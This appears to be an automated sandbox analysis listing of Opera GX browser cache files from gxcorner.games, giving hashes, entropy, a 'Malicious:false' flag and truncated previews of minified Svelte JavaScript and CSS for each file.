                                                                                                                                                                                                              Preview:0\r..m......5.....[.....https://gxcorner.games/assets/GamesDeals-BptUM6bT.css.link.svelte-10vy7xx{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABwAAAAcCAYAAAByDd+UAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFGmlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS42LWMxNDggNzkuMTY0MDM2LCAyMDE5LzA4LzEzLTAxOjA2OjU3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6cGhvdG9zaG9wPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bob3Rvc2hvcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RFdnQ9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZUV2ZW50IyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMSAoTWFjaW50b3NoKSIgeG1

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\53fc2cfab9cc5432_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):34368
                                                                                                                                                                                                              Entropy (8bit):5.67133260558993
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:D8EA1F71FC319F8BDB549C2939BCB4DC
                                                                                                                                                                                                              SHA1:B0CDBBFFD7FF4A1968B7159F79B4CD8DB6685C51
                                                                                                                                                                                                              SHA-256:C43A1D3480C6AA404283AC53B2E22F6AFCFA0A40282A077359E9FA481486BD73
                                                                                                                                                                                                              SHA-512:C2633CE19E865CF72239694BA1DE8C29926C00B32DFE98BEB540BF0A833143BF8B3F0BF2BF5C999A9C84B46FE4742647D14819B804D0A68C96760C3660DD2AF6
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m....../....r .....https://gxcorner.games/assets/Daily-B4nyd3Ac.jsconst __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/DailyMeme-BYtzcZm6.js","assets/index-DMZ02uhD.js","assets/index-DXv66tiq.css","assets/App-Dh0jPV6c.js","assets/index-Cl97QX7T.js","assets/strings-arc53U-2.js","assets/App-TFQCuALs.css","assets/IntersectionObserver-DNzenOzn.js","assets/DailyLayout-BJyJ127i.js","assets/DailyLayout-RV9KTJyg.css","assets/DailyMeme-BwBtiOo1.css","assets/DailyRegularContent-CvoZ_uMX.js","assets/DailyRegularContent-DgYMxI4b.css","assets/DailyThisOrThat-DdOMbLSK.js","assets/DailyThisOrThat-BKO_H0dE.css","assets/DailyShort-BMr-HD-N.js","assets/DailyShort-CzrljWBw.css"])))=>i.map(i=>d[i]);.import{s as ne,I as ye,n as V,p as _e,B as be,o as oe,q as Ne,C as We,_ as ce}from"./index-DMZ02uhD.js";import{S as se,i as ie,C as B,E as l,L as M,e as N,F as u,h as W,V as b,b as A,an as q,m as P,f as pe,t as T,g as G,j as R,al as Ke,bl as Ze,ba as Ye,O as Ge,Y as Je,K as de,s as Q,D as Qe,G

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\54b74f80751ab08a_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):7531
                                                                                                                                                                                                              Entropy (8bit):5.674787914431087
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:61517A18BE4E3FA8BDD34E1152989555
                                                                                                                                                                                                              SHA1:2FBC5907B27BFE814C80ED5FADFD8C6A0B713D21
                                                                                                                                                                                                              SHA-256:C077E7C4ECA9ED4414E688C9F0727AFD67D626B1CDF7F15BE825D585BAB9B310
                                                                                                                                                                                                              SHA-512:B0A37761E9E8EB57F4C7D7C4C4815F1B6F30D5A6A48948E6A9F3F575196736B51A0D88E0169D7AE00A038B7E23CE04DD4B65449D34F88D89C254B923789F3DBB
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0....TP.....https://gxcorner.games/assets/Stream-UuwafmjC.jsimport{s as H,o as V,C as oe,A as I,b as ce}from"./index-DMZ02uhD.js";import{S as K,i as M,R as W,T as X,C as b,s as T,b as L,E as m,e as y,F as w,m as q,U as Y,t as p,g as h,h as $,j as O,O as fe,J as z,ba as j,bb as ue,I as E,aq as D,aP as F,aQ as R,bc as de,aF as me,bd as _e,be as ge,ar as A,bf as pe,as as J,an as N,f as P,L as C}from"./App-Dh0jPV6c.js";import{I as be}from"./IntersectionObserver-DNzenOzn.js";import{T as he}from"./Toggle-BJt5m6Nb.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var i=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(i._sentryDebugIds=i._sentryDebugIds||{},i._sentryDebugIds[t]="2b952202-745d-4709-9076-0c8cc1596e19",i._sentryDebugIdIdentifier="sentry-dbid-2b952202-745d-4709-9076-0c8cc1596e19")}catch{}})();function Q(i){let t;return{c(){t=b("div"),t.textContent="Live Stream",m(t,"class","info svelte-1gmmzaa

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\5980f0a210386038_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5351
                                                                                                                                                                                                              Entropy (8bit):5.7621784866937675
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:A6E0EE3100C28A66E5FBFDF7972D6A08
                                                                                                                                                                                                              SHA1:44E651CBB5D034ECBEB613B29D4838D5C9319814
                                                                                                                                                                                                              SHA-256:1115979823C22815401B0B074B5CF94822FDD9A2180BC876F21345CA289984DF
                                                                                                                                                                                                              SHA-512:248FCE4F5798449FFBF2FC42855970F10355883E7357B96C1DC3ADAB132FCA0BA5DF0CB156648EB78E612491F8D6F67EA63F273404F69EF4090FE860CD1C3614
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0...i..Y....https://gxcorner.games/assets/Stores-BfD6zzZ4.jsimport{s as w,o as q,y as T,i as I,p,B as k,q as A}from"./index-DMZ02uhD.js";import{S as y,i as z,az as B,b as u,m as f,t as c,g as m,j as g,a0 as P,aX as R,aY as X,aE as Y,C as L,an as _,e as C,h as S,al as F,aW as G,E as $,aa as H,W as J,ah as U,aU as v,aV as K}from"./App-Dh0jPV6c.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var o=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(o._sentryDebugIds=o._sentryDebugIds||{},o._sentryDebugIds[e]="0bf52ba1-151c-4d78-a3b6-bab0e2628bc1",o._sentryDebugIdIdentifier="sentry-dbid-0bf52ba1-151c-4d78-a3b6-bab0e2628bc1")}catch{}})();function M(o){let e,r,t,s;return{c(){e=L("div"),$(e,"class","logo svelte-pixmdc"),$(e,"title",o[3])},m(n,a){C(n,e,a),t||(s=T(r=H.call(null,e,{logo:`url(${o[10]})`,logo2x:`url(${o[11]})`})),t=!0)},p(n,a){a&8&&$(e,"title",n[3]),r&&I(r.update)&&a&3072&&r.update.call(null,{l

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\59ff36f7a5a41043_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):1731
                                                                                                                                                                                                              Entropy (8bit):6.154863910986925
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:19E2DAB7810C5F7820230CFBEB2ED075
                                                                                                                                                                                                              SHA1:467C3ACCFE7A7868FE8A39F8927A3453D1FDAFB7
                                                                                                                                                                                                              SHA-256:5454212A5943A18DC3A637E970302F62E994A9AB9D12D89E9DC8A9C8C22C4621
                                                                                                                                                                                                              SHA-512:03C7B0BA1E7F9AF9453418F83D5DB80271C4351814BE35CF478595307C4ACA247B4718D1EB9A1472BE5118B20820AC52870A7745D68F55B23B5C6695DBC69A64
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......4....R......https://gxcorner.games/assets/TempBanner-BO6TytuB.jsimport{s as r,n as s}from"./index-DMZ02uhD.js";import{S as d,i,C as o,E as c,e as f,h as l}from"./App-Dh0jPV6c.js";(function(){try{var t=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(t._sentryDebugIds=t._sentryDebugIds||{},t._sentryDebugIds[e]="d8c5e4f8-aca5-4548-8a2e-646bd59d7bc2",t._sentryDebugIdIdentifier="sentry-dbid-d8c5e4f8-aca5-4548-8a2e-646bd59d7bc2")}catch{}})();function b(t){let e;return{c(){e=o("div"),e.innerHTML='<div class="border svelte-y4jq5a"></div> <div>To see the campaign, resize the browser</div>',c(e,"class","temp-banner svelte-y4jq5a")},m(n,a){f(n,e,a)},p:s,i:s,o:s,d(n){n&&l(e)}}}class m extends d{constructor(e){super(),i(this,e,null,b,r,{})}}export{m as T};..A..Eo........1.............GET.........."...age..327481")..cache-control..public, max-age=31536000"...cf-cache-status..HIT"...cf-ray..8d1da3ba598141b2-EWR"...content-encoding..gzip"&.

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\5da015b3c8614d88_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5864
                                                                                                                                                                                                              Entropy (8bit):5.369909549443476
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:EC8EC26F51FB3A14DA4007B3852C3B36
                                                                                                                                                                                                              SHA1:37AC051D634B65F2B13EADFA0FB2484E0DE8E36C
                                                                                                                                                                                                              SHA-256:DE88A2AC97039611BA9EEEF25C3BD222D43F090FFA8341923D188F05C07CEC43
                                                                                                                                                                                                              SHA-512:B2A07524B8BD5E4E00EE6307FA18A8616651A860BA7EF9DDE1B2DAA46B6AA460E34ADDB9C3B0CD90ED900F27EDE1F38033101ED1B4C167A1961ECE2A66A58DFC
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m....../...L..T....https://gxcorner.games/assets/Hero-BlJJlfv6.css.hero-background.svelte-1mv6w1a.svelte-1mv6w1a{border-radius:8px;height:calc(100% + 56px);left:-56px;overflow:hidden;position:absolute;right:-56px;top:0;transform:translateZ(0)}.hero-background.no-media.svelte-1mv6w1a.svelte-1mv6w1a{border-radius:0;height:auto;left:0;position:relative;right:0}@media (width <= 1130px){.hero-background.no-media.svelte-1mv6w1a.svelte-1mv6w1a{display:none}}.hero-background.svelte-1mv6w1a img{display:block;height:100%;-o-object-fit:cover;object-fit:cover;-o-object-position:center;object-position:center;-webkit-user-select:none;-moz-user-select:none;user-select:none;width:100%}.content.svelte-1mv6w1a.svelte-1mv6w1a{display:flex;gap:16px;transform:translateZ(0)}.content.align-column.svelte-1mv6w1a.svelte-1mv6w1a{flex-direction:column}.content.align-left.svelte-1mv6w1a.svelte-1mv6w1a{flex-flow:row-reverse wrap}.content.align-right.svelte-1mv6w1a.svelte-1mv6w1a{flex-flow:row wrap}.content.no

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\64730d01b6988865_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4063
                                                                                                                                                                                                              Entropy (8bit):5.829499692516077
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:66293D3A14A168D01708D1ECD3FDFDA3
                                                                                                                                                                                                              SHA1:4B299A52BCB3E342767EF6DDAE1BD0E1B0EF17CE
                                                                                                                                                                                                              SHA-256:7182FFB569F8DFC5F221C89AF7162169CECE2D11CE1577EF3E98376E1D34858D
                                                                                                                                                                                                              SHA-512:96CB7472042B918A463499FE31731001CCDCF74DFFFED020A4FC7C1724321B1D910E1D0AE7616F0F27E3F3AE5723FB2601CB127CD4CDC2C261EDF988C1FEE20A
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m.............U....https://gxcorner.games/assets/news-DnkPxxHL.jsimport{opr as w}from"./index-Cl97QX7T.js";import{v as P,x as m}from"./index-DMZ02uhD.js";import{Z as h,_ as y,$ as Z,a0 as D,a1 as b,a2 as L}from"./App-Dh0jPV6c.js";(function(){try{var e=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(e._sentryDebugIds=e._sentryDebugIds||{},e._sentryDebugIds[t]="98fef1c0-955f-4112-90d7-913d9e68415b",e._sentryDebugIdIdentifier="sentry-dbid-98fef1c0-955f-4112-90d7-913d9e68415b")}catch{}})();const $=h("gx.monday_news_categories",["ga"],y),l=h("gx.monday_news_locales",[],y),v=(e,t)=>{const s="en_ZZ";if(!e)return s;let a=e;const o=t.map(({code:n})=>n);return o.includes(a)||(a=e.substring(0,2)+"_"+e.substring(0,2).toUpperCase(),o.includes(a)||(a=s)),a},U="https://speeddials.opera.com/api/v3/news/config",C="https://speeddials.opera.com/api/v3/news",E=async({country:e,language:t})=>{const s=await w.operaBrowserPrivate.getEdition(),a=await w.o

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\669c4c9b786e5f33_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):3024
                                                                                                                                                                                                              Entropy (8bit):5.95831057121233
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:80FDAE7DAC2D1636C06DF39E4FE67F3B
                                                                                                                                                                                                              SHA1:8A5DBD0A15B65107AFB95133811F355ED485E2BE
                                                                                                                                                                                                              SHA-256:3D55658E4F24DF656929BD17E3E731B8692D2BC3CE7C20A3EE5881D16EE171C8
                                                                                                                                                                                                              SHA-512:A99400A8DA714B09148F9FA4FD0DFDA595B44FFAA7F865B5AA6D802A758E362115529F95A3997A6724B98F9A35C2AE5F9D15DE9678ED0C36F53B9AD37920A065
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......8.....rR....https://gxcorner.games/assets/MarketingVideo-Byi-T4tH.jsimport{s as w}from"./index-DMZ02uhD.js";import{S as v,i as y,O as k,e as d,t as f,g as m,J as D,h as c,aj as S,bu as h,b as g,s as T,C as j,E as C,m as _,j as p,I as V}from"./App-Dh0jPV6c.js";import q from"./VideoHero-k4yj-b9o.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";import"./Hero-CqS9XNpl.js";import"./TempBanner-BO6TytuB.js";(function(){try{var o=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},t=new Error().stack;t&&(o._sentryDebugIds=o._sentryDebugIds||{},o._sentryDebugIds[t]="a3a905b9-de06-4a5d-bb49-a9608bdcd89d",o._sentryDebugIdIdentifier="sentry-dbid-a3a905b9-de06-4a5d-bb49-a9608bdcd89d")}catch{}})();function I(o){let t,s,e,i,a;return t=new q({props:{title:o[0],id:o[1],attributes:o[2]}}),i=new h({}),{c(){g(t.$$.fragment),s=T(),e=j("div"),g(i.$$.fragment),C(e,"class","separator svelte-wqr9j")},m(r,n){_(t,r,n),d(r,s,n),d(r,e,n),_(i,e,null),a=!0},p(r,n){const

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\6d1773850017bfb5_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):5318
                                                                                                                                                                                                              Entropy (8bit):5.755836972498053
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:4B85D35057330354BC533FD7270DBCBA
                                                                                                                                                                                                              SHA1:90C27C2A09FB7A4E735966DBF28E4F759CBF41C5
                                                                                                                                                                                                              SHA-256:C16A6257DB358FE90B3B28062F0DB68537A7B1A8B82344FB4809014CB6E3244E
                                                                                                                                                                                                              SHA-512:A2E83E0C0EA0202EAEC8732681175A43619E597E121B3CE355F0638C31B4EA1DF89D1A690A087A2A19EBDBCB899308BAB03FBD027AE90EE1C7D239219E1728C4
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......3....-......https://gxcorner.games/assets/DailyMeme-BYtzcZm6.jsimport{s as H,p as L,A as I}from"./index-DMZ02uhD.js";import{S as O,i as S,b as k,m as $,ah as W,aU as A,t as u,g as c,j as y,C as b,E as g,L as w,e as _,I as h,J as v,h as m,aH as C,s as F,O as N,f as j,F as J}from"./App-Dh0jPV6c.js";import{I as M}from"./IntersectionObserver-DNzenOzn.js";import{D as U}from"./DailyLayout-BJyJ127i.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";import"./Daily-B4nyd3Ac.js";(function(){try{var a=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},l=new Error().stack;l&&(a._sentryDebugIds=a._sentryDebugIds||{},a._sentryDebugIds[l]="51c6de5d-09e5-4b20-80eb-9cbd4592b598",a._sentryDebugIdIdentifier="sentry-dbid-51c6de5d-09e5-4b20-80eb-9cbd4592b598")}catch{}})();function V(a){let l,e;return l=new C({props:{src:a[0].image,alt:a[0].title,fullWidth:!1}}),l.$on("loaded",a[8]),{c(){k(l.$$.fragment)},m(t,r){$(l,t,r),e=!0},p(t,r){const n={};r&1&&(n.src=t[0].

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\6d62cdabe621c8be_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2203
                                                                                                                                                                                                              Entropy (8bit):5.863196902743281
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E8A780AE278858B6F3BF92ACB0CA445B
                                                                                                                                                                                                              SHA1:3C1C4A7146AFE8451D27327331EDE6D34E92B630
                                                                                                                                                                                                              SHA-256:024A70E3A305D1B85B5FB366C5344B245A4363B2063FB42B5006566398C98BBF
                                                                                                                                                                                                              SHA-512:C0310EA2CB24519995004DFD2D9E3EB4B913410B5A00CDBF6D8D743C43B5F68DF1218890D89DF736CA59024D27B32526F5632E99932B08345850929592602826
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......4......I....https://gxcorner.games/assets/DailyMeme-BwBtiOo1.css@keyframes v{0%{transform:rotate(0)}to{transform:rotate(1turn)}}.meme-content.svelte-1i5eqhd{align-items:center;display:flex;height:100%;justify-content:center}.meme-content.loading.svelte-1i5eqhd{position:relative}.meme-content.loading.svelte-1i5eqhd:after{animation:v 1.5s steps(45) 10;border-bottom:8px solid hsl(var(--color-accent));border-left:8px solid transparent;border-radius:50%;border-right:8px solid transparent;border-top:8px solid hsl(var(--color-accent));content:" ";display:block;height:48px;left:calc(50% - 24px);position:absolute;top:calc(50% - 24px);width:48px;z-index:-1}@media (max-width:794px){.meme-content.svelte-1i5eqhd{height:75%;margin-top:5%}}.meme-content.svelte-1i5eqhd img{max-height:100%;max-width:600px}@media (max-width:1130px){.meme-content.svelte-1i5eqhd img{max-width:300px}}@media (max-width:794px){.meme-content.svelte-1i5eqhd img{max-width:260px}}.video-poster.svelte-1i5eqhd{cursor:p

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\6fdf22ecead401eb_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):25453
                                                                                                                                                                                                              Entropy (8bit):5.511014900617203
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:86B7CACC26CE3D9DD41CB5105005210D
                                                                                                                                                                                                              SHA1:6C748CB4EA44D0991CD8FC448E6C315FF36413AF
                                                                                                                                                                                                              SHA-256:8FD558D2D2C004C5050C504B63A92BAFAAA4DABA366A9D7FF4C3F8E03C9E22CB
                                                                                                                                                                                                              SHA-512:A542A181DC497D5264F60A150BA47BBA814F2CD3975DB790CD22F68BAEEF41AD3767F6DF281C64EF9E4E5B248A70EABE2E00629611FC5268F39E8D004E1451F1
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......4...?..x....https://gxcorner.games/assets/GamesDeals-yjwFrzHB.jsimport{s as x,o as Ve,y as Ne,i as Z,b as Re,C as _e,A as ke,p as Y,B as $e,q as Je}from"./index-DMZ02uhD.js";import{S as ee,i as te,az as re,b as T,m as y,t as u,g as m,j as S,C as h,E as v,L as G,e as $,h as w,aB as Ke,aC as Qe,Y as Ye,aD as Xe,aE as de,s as O,an as we,I as j,J as M,aF as Ze,a as xe,al as pe,aG as Ae,D as R,G as J,aH as be,F as k,aI as He,aJ as et,aK as tt,aq as X,ar as ie,aL as Te,aM as lt,aN as nt,at as ye,aO as he,aP as se,aQ as ae,f as ne,aR as it,aa as rt,H as st,aS as Ee,aT as Fe,W as at,ah as fe,aU as oe,aV as ft,R as ot,T as ut,U as ct,O as Ge}from"./App-Dh0jPV6c.js";import{B as Ue}from"./Badges--rKIoSG1.js";import"./index-Cl97QX7T.js";import"./strings-arc53U-2.js";(function(){try{var i=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(i._sentryDebugIds=i._sentryDebugIds||{},i._sentryDebugIds[e]="1a760d4b-3b29-4503-975a-45364ef35bff",i._

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\7415b8ef4cca9d46_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):4475
                                                                                                                                                                                                              Entropy (8bit):5.812885688622957
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:E10A906E01ADDDEDCE7A0B0A392E2920
                                                                                                                                                                                                              SHA1:86CE8C09C2253C696FB70DEA9BA5737544844B27
                                                                                                                                                                                                              SHA-256:61538900D3E14E6904E8812657FF53E6F737B6C38291078C32E5D5E16F7D5EEB
                                                                                                                                                                                                              SHA-512:0D9029E4139F18ABB8BC528F722E678D24A5CBA2399B4D8DE90B91D59449DE21C33C0D4439C0F581DD291DD1FEA5F650A8F2984D0FC6D06FFE039C3C7AC5A700
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:0\r..m......0......)....https://gxcorner.games/assets/Badges--rKIoSG1.jsimport{s as S,y,i as z}from"./index-DMZ02uhD.js";import{S as j,i as F,C as m,s as v,E as f,e as b,F as $,t as u,I as k,g,J as w,h as p,aW as D,b as V,m as B,j as C,an as _,aa as E,D as G,L as d,G as J}from"./App-Dh0jPV6c.js";(function(){try{var o=typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{},e=new Error().stack;e&&(o._sentryDebugIds=o._sentryDebugIds||{},o._sentryDebugIds[e]="0349a8c8-14d0-4128-9c76-4b22ff445294",o._sentryDebugIdIdentifier="sentry-dbid-0349a8c8-14d0-4128-9c76-4b22ff445294")}catch{}})();function h(o){let e,r;return e=new D({props:{src:o[0].icon?.url,$$slots:{default:[L,({at1x:l,at2x:s})=>({3:l,4:s}),({at1x:l,at2x:s})=>(l?8:0)|(s?16:0)]},$$scope:{ctx:o}}}),{c(){V(e.$$.fragment)},m(l,s){B(e,l,s),r=!0},p(l,s){const t={};s&1&&(t.src=l[0].icon?.url),s&57&&(t.$$scope={dirty:s,ctx:l}),e.$set(t)},i(l){r||(u(e.$$.fragment,l),r=!0)},o(l){g(e.$$.fragment,l),r=!1},d(l){C(e,l)}}}funct

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\Service Worker\CacheStorage\3f89513be45eaa6ed6020035b50ed601a651a63a\b3eb7923-97a2-46f0-90cc-28c6158e0aa9\78d49c4162def531_0

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):2304
                                                                                                                                                                                                              Entropy (8bit):5.829005858225926
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:331295C1CE9AC8AC8987E84E6A777DE0
                                                                                                                                                                                                              SHA1:4EB4A52FE3433E26AA21F93DFDD541A1F0CEB373
                                                                                                                                                                                                              SHA-256:F6033C010F90827516348ACB3CF7F265D0F52B01725F9B418B21D9A86E3197AE
                                                                                                                                                                                                              SHA-512:77BBBBDDEFC59C21A239DE7EC272CE018C0DA05CB9120BC8CDFEB582F566130E6C0F367E9AFE2B22AA94F868DE803145681173CB5666846BCBA3ACC0D3CF43A9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
